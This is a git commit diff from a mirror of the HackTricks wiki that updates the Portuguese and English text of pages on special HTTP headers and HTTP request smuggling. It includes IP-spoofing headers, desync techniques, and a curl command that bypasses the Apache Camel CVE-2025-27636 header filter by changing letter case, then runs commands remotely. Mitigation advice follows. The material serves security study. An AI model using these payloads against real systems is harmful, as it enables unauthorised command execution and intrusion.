mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/special-http
This commit is contained in:
Translator
parent
6405e5ca81
commit
14b474eee0
@ -26,7 +26,7 @@ Rewrite **IP source**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Verifique os cabeçalhos hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
|
||||
|
||||
Rewrite **location**:
|
||||
|
||||
@ -35,10 +35,11 @@ Rewrite **location**:
|
||||
|
||||
## Hop-by-Hop headers
|
||||
|
||||
Um cabeçalho hop-by-hop é um cabeçalho que foi projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, ao contrário de um cabeçalho de ponta a ponta.
|
||||
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
@ -48,58 +49,78 @@ Um cabeçalho hop-by-hop é um cabeçalho que foi projetado para ser processado
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## The Expect header
|
||||
|
||||
It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header.
|
||||
|
||||
Interesting results of `Expect: 100-continue`:
|
||||
- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out.
|
||||
- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values.
|
||||
- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request.
|
||||
- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync.
|
||||
- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one...
|
||||
|
||||
For more info about HTTP Request Smuggling check:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cache Headers
|
||||
|
||||
**Cabeçalhos de Cache do Servidor**:
|
||||
**Server Cache Headers**:
|
||||
|
||||
- **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached
|
||||
- Similar behaviour in the header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed.
|
||||
- **`Age`** defines the times in seconds the object has been in the proxy cache.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** also indicates that a resource was cached
|
||||
|
||||
- **`X-Cache`** na resposta pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está armazenada em cache
|
||||
- Comportamento semelhante no cabeçalho **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** é frequentemente usado na resposta para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam indexados.
|
||||
- **`Age`** define o tempo em segundos que o objeto esteve no cache do proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** também indica que um recurso foi armazenado em cache
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Cabeçalhos de Cache Local**:
|
||||
**Local Cache headers**:
|
||||
|
||||
- `Clear-Site-Data`: Cabeçalho para indicar o cache que deve ser removido: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contém a data/hora em que a resposta deve expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` igual a `Cache-Control: no-cache`
|
||||
- `Warning`: O cabeçalho HTTP geral **`Warning`** contém informações sobre possíveis problemas com o status da mensagem. Mais de um cabeçalho `Warning` pode aparecer em uma resposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` same as `Cache-Control: no-cache`
|
||||
- `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
|
||||
- Solicitações usando esses cabeçalhos: **`If-Modified-Since`** e **`If-Unmodified-Since`** serão respondidas com dados apenas se o cabeçalho de resposta **`Last-Modified`** contiver um horário diferente.
|
||||
- Solicitações condicionais usando **`If-Match`** e **`If-None-Match`** usam um valor Etag para que o servidor web envie o conteúdo da resposta se os dados (Etag) mudaram. O `Etag` é retirado da resposta HTTP.
|
||||
- O valor **Etag** é geralmente **calculado com base** no **conteúdo** da resposta. Por exemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que o `Etag` é o **Sha1** de **37 bytes**.
|
||||
- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
|
||||
- Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
|
||||
- The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
|
||||
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indica se o servidor suporta solicitações de intervalo e, se sim, em qual unidade o intervalo pode ser expresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica a parte de um documento que o servidor deve retornar. Por exemplo, `Range:80-100` retornará os bytes 80 a 100 da resposta original com um código de status 206 Partial Content. Também lembre-se de remover o cabeçalho `Accept-Encoding` da solicitação.
|
||||
- Isso pode ser útil para obter uma resposta com código JavaScript refletido arbitrário que, de outra forma, poderia ser escapado. Mas para abusar disso, você precisaria injetar esses cabeçalhos na solicitação.
|
||||
- **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou a data fornecidos corresponderem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
|
||||
- **`Content-Range`**: Indica onde em uma mensagem de corpo completo uma mensagem parcial pertence.
|
||||
- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indicates the part of a document that the server should return. For emxaple, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
|
||||
- This could be useful to get a repsonse with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
|
||||
- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
|
||||
- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
|
||||
|
||||
## Message body information
|
||||
|
||||
- **`Content-Length`:** O tamanho do recurso, em número decimal de bytes.
|
||||
- **`Content-Type`**: Indica o tipo de mídia do recurso
|
||||
- **`Content-Encoding`**: Usado para especificar o algoritmo de compressão.
|
||||
- **`Content-Language`**: Descreve a(s) língua(s) humana(s) destinadas ao público, permitindo que um usuário diferencie de acordo com a própria língua preferida.
|
||||
- **`Content-Location`**: Indica uma localização alternativa para os dados retornados.
|
||||
- **`Content-Length`:** The size of the resource, in decimal number of bytes.
|
||||
- **`Content-Type`**: Indicates the media type of the resource
|
||||
- **`Content-Encoding`**: Used to specify the compression algorithm.
|
||||
- **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
|
||||
- **`Content-Location`**: Indicates an alternate location for the returned data.
|
||||
|
||||
Do ponto de vista de um pentest, essas informações são geralmente "inúteis", mas se o recurso estiver **protegido** por um 401 ou 403 e você conseguir encontrar alguma **maneira** de **obter** essas **informações**, isso pode ser **interessante.**\
|
||||
Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação HEAD pode vazar o conteúdo da página via solicitações HEAD:
|
||||
From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\
|
||||
For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
|
||||
|
||||
- Uma solicitação com o cabeçalho `Range: bytes=20-20` e com uma resposta contendo `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está vazando que o SHA1 do byte 20 é `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
|
||||
@ -108,28 +129,29 @@ Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação H
|
||||
|
||||
## Controls
|
||||
|
||||
- **`Allow`**: Este cabeçalho é usado para comunicar os métodos HTTP que um recurso pode manipular. Por exemplo, pode ser especificado como `Allow: GET, POST, HEAD`, indicando que o recurso suporta esses métodos.
|
||||
- **`Expect`**: Utilizado pelo cliente para transmitir expectativas que o servidor precisa atender para que a solicitação seja processada com sucesso. Um caso de uso comum envolve o cabeçalho `Expect: 100-continue`, que sinaliza que o cliente pretende enviar um grande payload de dados. O cliente aguarda uma resposta `100 (Continue)` antes de prosseguir com a transmissão. Esse mecanismo ajuda a otimizar o uso da rede, aguardando a confirmação do servidor.
|
||||
- **`Allow`**: This header is used to communicate the HTTP methods a resource can handle. For example, it might be specified as `Allow: GET, POST, HEAD`, indicating that the resource supports these methods.
|
||||
- **`Expect`**: Utilized by the client to convey expectations that the server needs to meet for the request to be processed successfully. A common use case involves the `Expect: 100-continue` header, which signals that the client intends to send a large data payload. The client looks for a `100 (Continue)` response before proceeding with the transmission. This mechanism helps in optimizing network usage by awaiting server confirmation.
|
||||
|
||||
## Downloads
|
||||
|
||||
- O cabeçalho **`Content-Disposition`** nas respostas HTTP direciona se um arquivo deve ser exibido **inline** (dentro da página da web) ou tratado como um **anexo** (baixado). Por exemplo:
|
||||
- The **`Content-Disposition`** header in HTTP responses directs whether a file should be displayed **inline** (within the webpage) or treated as an **attachment** (downloaded). For instance:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
Isso significa que o arquivo nomeado "filename.jpg" é destinado a ser baixado e salvo.
|
||||
Isso significa que o arquivo chamado "filename.jpg" destina-se a ser baixado e salvo.
|
||||
|
||||
## Cabeçalhos de Segurança
|
||||
|
||||
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **Tipos Confiáveis**
|
||||
### **Trusted Types**
|
||||
|
||||
Ao impor Tipos Confiáveis através do CSP, as aplicações podem ser protegidas contra ataques DOM XSS. Tipos Confiáveis garantem que apenas objetos especificamente elaborados, em conformidade com políticas de segurança estabelecidas, possam ser usados em chamadas de API web perigosas, garantindo assim que o código JavaScript esteja seguro por padrão.
|
||||
Ao aplicar Trusted Types via CSP, as aplicações podem ser protegidas contra ataques DOM XSS. Trusted Types garantem que apenas objetos especificamente criados, em conformidade com as políticas de segurança estabelecidas, possam ser usados em chamadas de APIs web perigosas, protegendo assim o código JavaScript por padrão.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,74 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Este cabeçalho previne a detecção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele garante que os navegadores respeitem os tipos MIME especificados pelo servidor.
|
||||
Este cabeçalho evita a inspeção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele assegura que os navegadores respeitem os tipos MIME especificados pelo servidor.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Para combater clickjacking, este cabeçalho restringe como documentos podem ser incorporados em `<frame>`, `<iframe>`, `<embed>` ou `<object>` tags, recomendando que todos os documentos especifiquem suas permissões de incorporação explicitamente.
|
||||
Para combater o clickjacking, este cabeçalho restringe como documentos podem ser incorporados em `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recomendando que todos os documentos especifiquem explicitamente suas permissões de incorporação.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Política de Recursos de Origem Cruzada (CORP) e Compartilhamento de Recursos de Origem Cruzada (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) e Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP é crucial para especificar quais recursos podem ser carregados por sites, mitigando vazamentos entre sites. CORS, por outro lado, permite um mecanismo de compartilhamento de recursos de origem cruzada mais flexível, relaxando a política de mesma origem sob certas condições.
|
||||
CORP é crucial para especificar quais recursos podem ser carregados por websites, mitigando cross-site leaks. CORS, por outro lado, permite um mecanismo mais flexível de cross-origin resource sharing, relaxando a same-origin policy sob certas condições.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Política de Incorporação de Origem Cruzada (COEP) e Política de Abertura de Origem Cruzada (COOP)**
|
||||
### **Cross-Origin Embedder Policy (COEP) e Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP e COOP são essenciais para habilitar o isolamento de origem cruzada, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Eles controlam o carregamento de recursos de origem cruzada e a interação com janelas de origem cruzada, respectivamente.
|
||||
COEP e COOP são essenciais para habilitar o isolamento cross-origin, reduzindo significativamente o risco de ataques semelhantes ao Spectre. Elas controlam, respectivamente, o carregamento de recursos cross-origin e a interação com janelas cross-origin.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
Por fim, HSTS é um recurso de segurança que força os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
|
||||
Por fim, HSTS é um recurso de segurança que obriga os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 define os nomes dos campos de cabeçalho como **não sensíveis a maiúsculas e minúsculas** (RFC 9110 §5.1). No entanto, é muito comum encontrar middleware personalizado, filtros de segurança ou lógica de negócios que comparam o nome do cabeçalho *literal* recebido sem normalizar a capitalização primeiro (por exemplo, `header.equals("CamelExecCommandExecutable")`). Se essas verificações forem realizadas **sensivelmente a maiúsculas e minúsculas**, um atacante pode contorná-las simplesmente enviando o mesmo cabeçalho com uma capitalização diferente.
|
||||
HTTP/1.1 define os nomes de campos de header como **insensíveis a maiúsculas/minúsculas** (RFC 9110 §5.1). No entanto, é muito comum encontrar middleware personalizado, filtros de segurança ou lógica de negócio que comparam o nome *literal* do header recebido sem normalizar a capitalização primeiro (por exemplo, `header.equals("CamelExecCommandExecutable")`). Se essas verificações forem feitas **sensíveis a maiúsculas/minúsculas**, um atacante pode contorná-las simplesmente enviando o mesmo header com uma capitalização diferente.
|
||||
|
||||
Situações típicas onde esse erro aparece:
|
||||
Typical situations where this mistake appears:
|
||||
|
||||
* Listas personalizadas de permissão/negação que tentam bloquear cabeçalhos internos "perigosos" antes que a solicitação chegue a um componente sensível.
|
||||
* Implementações internas de pseudo-cabeçalhos de proxy reverso (por exemplo, sanitização de `X-Forwarded-For`).
|
||||
* Frameworks que expõem endpoints de gerenciamento / depuração e dependem de nomes de cabeçalho para autenticação ou seleção de comandos.
|
||||
* Listas personalizadas de allow/deny que tentam bloquear headers internos “perigosos” antes que a requisição alcance um componente sensível.
|
||||
* Implementações internas de pseudo-headers de reverse-proxy (por exemplo, `X-Forwarded-For` sanitização).
|
||||
* Frameworks que expõem endpoints de management / debug e dependem dos nomes de header para autenticação ou seleção de comandos.
|
||||
|
||||
### Abusando o bypass
|
||||
### Abusando do bypass
|
||||
|
||||
1. Identifique um cabeçalho que é filtrado ou validado no lado do servidor (por exemplo, lendo código-fonte, documentação ou mensagens de erro).
|
||||
2. Envie o **mesmo cabeçalho com uma capitalização diferente** (mistura de maiúsculas e minúsculas ou maiúsculas). Como as pilhas HTTP geralmente canonicizam cabeçalhos apenas *depois* que o código do usuário foi executado, a verificação vulnerável pode ser pulada.
|
||||
3. Se o componente a jusante tratar cabeçalhos de maneira não sensível a maiúsculas e minúsculas (a maioria faz), ele aceitará o valor controlado pelo atacante.
|
||||
1. Identifique um header que seja filtrado ou validado no lado do servidor (por exemplo, lendo o código-fonte, documentação ou mensagens de erro).
|
||||
2. Envie o **mesmo header com uma capitalização diferente** (caixa mista ou apenas maiúsculas). Como as pilhas HTTP normalmente normalizam os headers apenas *após* o código do usuário ser executado, a verificação vulnerável pode ser ignorada.
|
||||
3. Se o componente downstream tratar headers de forma insensível a maiúsculas/minúsculas (a maioria trata), ele aceitará o valor controlado pelo atacante.
|
||||
|
||||
### Exemplo: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
Em versões vulneráveis do Apache Camel, as rotas do *Command Center* tentam bloquear solicitações não confiáveis removendo os cabeçalhos `CamelExecCommandExecutable` e `CamelExecCommandArgs`. A comparação foi feita com `equals()`, então apenas os nomes exatos em minúsculas foram removidos.
|
||||
Em versões vulneráveis do Apache Camel as rotas do *Command Center* tentavam bloquear requisições não confiáveis removendo os headers `CamelExecCommandExecutable` e `CamelExecCommandArgs`. A comparação era feita com `equals()`, então apenas os nomes exatamente em minúsculas eram removidos.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Os cabeçalhos chegam ao componente `exec` sem filtragem, resultando na execução remota de comandos com os privilégios do processo Camel.
|
||||
Os cabeçalhos chegam ao componente `exec` sem filtragem, resultando em execução remota de comandos com os privilégios do processo Camel.
|
||||
|
||||
### Detecção e Mitigação
|
||||
|
||||
* Normalize todos os nomes de cabeçalho para um único caso (geralmente minúsculas) **antes** de realizar comparações de permissão/rejeição.
|
||||
* Rejeite duplicatas suspeitas: se tanto `Header:` quanto `HeAdEr:` estiverem presentes, trate como uma anomalia.
|
||||
* Use uma lista de permissão positiva aplicada **após** a canonização.
|
||||
* Proteja os pontos finais de gerenciamento com autenticação e segmentação de rede.
|
||||
* Normalizar todos os nomes de cabeçalho para um único case (normalmente minúsculas) **antes** de realizar comparações allow/deny.
|
||||
* Rejeitar duplicatas suspeitas: se tanto `Header:` quanto `HeAdEr:` estiverem presentes, tratar como uma anomalia.
|
||||
* Usar uma allow-list positiva aplicada **após** a canonicalização.
|
||||
* Proteger management endpoints com autenticação e segmentação de rede.
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- [CVE-2025-27636 – RCE em Apache Camel via bypass de capitalização de cabeçalho (blog OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
||||
@ -5,60 +5,77 @@
|
||||
|
||||
## O que é
|
||||
|
||||
Esta vulnerabilidade ocorre quando uma **desyncronization** entre os **front-end proxies** e o servidor **back-end** permite que um **attacker** envie um HTTP **request** que será **interpreted** como um **single request** pelos **front-end** proxies (load balance/reverse-proxy) e **as 2 request** pelo servidor **back-end**.\
|
||||
Isso permite que um usuário **modify the next request that arrives to the back-end server after his**.
|
||||
Esta vulnerabilidade ocorre quando uma **dessincronização** entre os **front-end proxies** e o servidor **back-end** permite que um **attacker** **envie** uma HTTP **request** que será **interpretada** como uma **única request** pelos **front-end** (load balance/reverse-proxy) e **como 2 requests** pelo servidor **back-end**.\
|
||||
Isso permite que um usuário **modifique a próxima request que chegar ao servidor back-end após a dele**.
|
||||
|
||||
### Teoria
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Se uma mensagem é recebida com ambos os campos de cabeçalho Transfer-Encoding e Content-Length, este último MUST ser ignorado.
|
||||
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> O cabeçalho de entidade Content-Length indica o tamanho do entity-body, em bytes, enviado ao destinatário.
|
||||
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o payload body para o usuário.\
|
||||
> Chunked significa que grandes dados são enviados em uma série de chunks
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### Realidade
|
||||
|
||||
O **Front-End** (um load-balance / Reverse Proxy) **processa** o cabeçalho _**Content-Length**_ ou o _**Transfer-Encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **desyncronization** entre os 2 sistemas.\
|
||||
Isso pode ser muito crítico, pois **um attacker poderá enviar um request** ao reverse proxy que será **interpretado** pelo servidor **back-end** **como 2 requests diferentes**. O **perigo** desta técnica reside no fato de que o servidor **back-end** **interpretará** o **2nd request injected** como se tivesse **vindo do próximo cliente** e o **real request** desse cliente será **parte** do **injected request**.
|
||||
O **Front-End** (um load-balance / Reverse Proxy) **processa** o cabeçalho _**Content-Length**_ ou o _**Transfer-Encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **dessincronização** entre os 2 sistemas.\
|
||||
Isto pode ser muito crítico, pois **um attacker poderá enviar uma request** ao reverse proxy que será **interpretada** pelo servidor **back-end** **como 2 requests diferentes**. O **perigo** desta técnica reside no fato de que o **back-end** irá interpretar a **2ª request injetada** como se ela **viesse do próximo cliente** e a **request real** desse cliente fará **parte** da **request injetada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Lembre-se que em HTTP **um caractere de nova linha é composto por 2 bytes:**
|
||||
Lembre-se que em HTTP **um caractere de new line é composto por 2 bytes:**
|
||||
|
||||
- **Content-Length**: Este header usa um **número decimal** para indicar o **número** de **bytes** do **body** da request. Espera-se que o body termine no último caractere; **uma new line não é necessária no fim da request**.
|
||||
- **Transfer-Encoding:** Este header usa no **body** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **new line**, mas essa new line **não é contada** pelo indicador de tamanho. Este método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 new lines**: `0`
|
||||
- **Connection**: Pela minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira request do Request Smuggling.
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
O principal problema com HTTP/1.1 é que todas as requests usam o mesmo socket TCP, então se uma discrepância for encontrada entre 2 sistemas que recebem requests, é possível enviar uma request que será tratada como 2 requests diferentes (ou mais) pelo backend final (ou até por sistemas intermediários).
|
||||
|
||||
[This blog post](https://portswigger.net/research/http1-must-die) propõe novas formas de detectar desync attacks num sistema que não serão sinalizadas por WAFs. Para isso apresenta os comportamentos Visible vs Hidden. O objetivo aqui é tentar encontrar discrepâncias nas respostas usando técnicas que poderiam estar causando desyncs sem realmente explorar nada.
|
||||
|
||||
Por exemplo, enviar uma request com o cabeçalho normal Host e um cabeçalho " host", se o backend reclamar sobre essa request (talvez porque o valor de " host" está incorreto) isso pode significar que o front-end não levou em conta o cabeçalho " host" enquanto o backend final sim, implicando uma forte probabilidade de dessincronização entre front-end e backend.
|
||||
|
||||
Isto seria uma discrepância **Hidden-Visible**.
|
||||
|
||||
Se o front-end tivesse levado em conta o cabeçalho " host" mas o back-end não, isso poderia ser uma situação **Visible-Hidden**.
|
||||
|
||||
Por exemplo, isso permitiu descobrir desyncs entre AWS ALB como front-end e IIS como backend. Isso ocorreu porque quando o "Host: foo/bar" foi enviado, o ALB retornou `400, Server; awselb/2.0`, mas quando "Host : foo/bar" foi enviado, retornou `400, Server: Microsoft-HTTPAPI/2.0`, indicando que o backend estava enviando a resposta. Isto é uma situação Hidden-Visible (H-V).
|
||||
|
||||
Note que esta situação não é corrigida pela AWS, mas pode ser prevenida configurando `routing.http.drop_invalid_header_fields.enabled` e `routing.http.desync_mitigation_mode = strictest`.
|
||||
|
||||
- **Content-Length**: Este header usa um **número decimal** para indicar o **número** de **bytes** do **body** do request. O body é esperado terminar no último caractere; **uma nova linha não é necessária no fim do request**.
|
||||
- **Transfer-Encoding:** Este header usa no **body** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha** mas essa nova linha **não é contabilizada** pelo indicador de tamanho. Este método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
||||
- **Connection**: Com base na minha experiência, é recomendado usar **`Connection: keep-alive`** no primeiro request do request Smuggling.
|
||||
|
||||
## Exemplos Básicos
|
||||
|
||||
> [!TIP]
|
||||
> Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de newlines, carriage returns e content-lengths malformados.
|
||||
> Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no Repeater porque alguns gadgets abusam de newlines, carriage returns e Content-Lengths malformados.
|
||||
|
||||
HTTP request smuggling attacks são criados enviando requests ambíguos que exploram discrepâncias em como front-end e back-end interpretam os headers `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como front-end e back-end priorizam esses headers. As vulnerabilidades surgem quando os servidores processam o mesmo request de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
||||
HTTP request smuggling attacks são criadas enviando requests ambíguas que exploram discrepâncias em como front-end e back-end interpretam os headers `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação diferente de como os servidores front-end e back-end priorizam esses headers. As vulnerabilidades surgem quando os servidores processam a mesma request de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
||||
|
||||
### Exemplos Básicos de Tipos de Vulnerabilidade
|
||||
|
||||
|
||||
|
||||
> [!TIP]
|
||||
> À tabela anterior você deve adicionar a técnica TE.0, similar à técnica CL.0 mas usando Transfer-Encoding.
|
||||
> Ao arquivo anterior você deve adicionar a técnica TE.0, semelhante à técnica CL.0 mas usando Transfer-Encoding.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
#### CL.TE Vulnerability (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
|
||||
|
||||
- **Front-End (CL):** Processa o request com base no header `Content-Length`.
|
||||
- **Back-End (TE):** Processa o request com base no header `Transfer-Encoding`.
|
||||
- **Cenário de Ataque:**
|
||||
- **Front-End (CL):** Processa a request com base no header `Content-Length`.
|
||||
- **Back-End (TE):** Processa a request com base no header `Transfer-Encoding`.
|
||||
- **Cenário de ataque:**
|
||||
|
||||
- O attacker envia um request onde o valor do header `Content-Length` não corresponde ao comprimento real do conteúdo.
|
||||
- O front-end encaminha o request inteiro para o back-end, baseado no valor do `Content-Length`.
|
||||
- O back-end processa o request como chunked devido ao header `Transfer-Encoding: chunked`, interpretando os dados remanescentes como um request subsequente separado.
|
||||
